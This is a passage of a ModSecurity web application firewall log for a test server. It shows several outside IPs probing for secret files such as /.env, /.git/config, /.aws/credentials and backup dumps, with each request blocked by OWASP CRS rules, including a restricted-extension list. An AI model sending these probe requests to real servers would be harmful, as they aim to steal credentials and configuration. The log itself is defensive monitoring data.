&quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIRTCzHEi-oO89cLoESA0QAAAAU&quot;]
[Sat Jul 26 06:01:15.594252 2025] [:error] [pid 1466140] [client 213.209.143.116:45810] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIRTCzHEi-oO89cLoESA0QAAAAU&quot;]
[Sat Jul 26 06:01:15.594410 2025] [:error] [pid 1466140] [client 213.209.143.116:45810] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aIRTCzHEi-oO89cLoESA0QAAAAU&quot;]
[Sat Jul 26 06:01:15.780074 2025] [:error] [pid 1466109] [client 213.209.143.116:45826] [client 213.209.143.116] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id &quot;aIRTC5hKYGGCYlj58s9a1QAAAAQ&quot;]
[Sat Jul 26 06:01:15.780361 2025] [:error] [pid 1466109] [client 213.209.143.116:45826] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id &quot;aIRTC5hKYGGCYlj58s9a1QAAAAQ&quot;]
[Sat Jul 26 06:01:15.780539 2025] [:error] [pid 1466109] [client 213.209.143.116:45826] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id &quot;aIRTC5hKYGGCYlj58s9a1QAAAAQ&quot;]
[Sat Jul 26 06:36:07.510289 2025] [:error] [pid 1466109] [client 185.177.72.24:38672] [client 185.177.72.24] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIRbN5hKYGGCYlj58s9a2AAAAAQ&quot;]
[Sat Jul 26 06:36:07.510604 2025] [:error] [pid 1466109] [client 185.177.72.24:38672] [client 185.177.72.24] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIRbN5hKYGGCYlj58s9a2AAAAAQ&quot;]
[Sat Jul 26 06:36:07.510753 2025] [:error] [pid 1466109] [client 185.177.72.24:38672] [client 185.177.72.24] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIRbN5hKYGGCYlj58s9a2AAAAAQ&quot;]
[Sat Jul 26 07:04:14.346447 2025] [:error] [pid 1469823] [client 20.74.83.27:51556] [client 20.74.83.27] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIRhzgxjxSVdKPpmiUKk_wAAAAc&quot;]
[Sat Jul 26 07:04:14.346741 2025] [:error] [pid 1469823] [client 20.74.83.27:51556] [client 20.74.83.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIRhzgxjxSVdKPpmiUKk_wAAAAc&quot;]
[Sat Jul 26 07:04:14.346952 2025] [:error] [pid 1469823] [client 20.74.83.27:51556] [client 20.74.83.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIRhzgxjxSVdKPpmiUKk_wAAAAc&quot;]
[Sat Jul 26 14:23:42.890015 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aITIzjkdzR67myhRtfd82QAAAAM&quot;]
[Sat Jul 26 14:23:42.890327 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aITIzjkdzR67myhRtfd82QAAAAM&quot;]
[Sat Jul 26 14:23:42.890519 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aITIzjkdzR67myhRtfd82QAAAAM&quot;]
[Sat Jul 26 14:23:43.005870 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83gAAAAM&quot;]
[Sat Jul 26 14:23:43.006111 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83gAAAAM&quot;]
[Sat Jul 26 14:23:43.006306 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83gAAAAM&quot;]
[Sat Jul 26 14:23:43.028355 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83wAAAAM&quot;]
[Sat Jul 26 14:23:43.028636 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83wAAAAM&quot;]
[Sat Jul 26 14:23:43.028826 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd83wAAAAM&quot;]
[Sat Jul 26 14:23:43.050614 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84AAAAAM&quot;]
[Sat Jul 26 14:23:43.050966 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84AAAAAM&quot;]
[Sat Jul 26 14:23:43.051148 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84AAAAAM&quot;]
[Sat Jul 26 14:23:43.096242 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84gAAAAM&quot;]
[Sat Jul 26 14:23:43.096487 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84gAAAAM&quot;]
[Sat Jul 26 14:23:43.096674 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84gAAAAM&quot;]
[Sat Jul 26 14:23:43.118619 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84wAAAAM&quot;]
[Sat Jul 26 14:23:43.118780 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84wAAAAM&quot;]
[Sat Jul 26 14:23:43.119011 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84wAAAAM&quot;]
[Sat Jul 26 14:23:43.119223 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd84wAAAAM&quot;]
[Sat Jul 26 14:23:43.580518 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85QAAAAM&quot;]
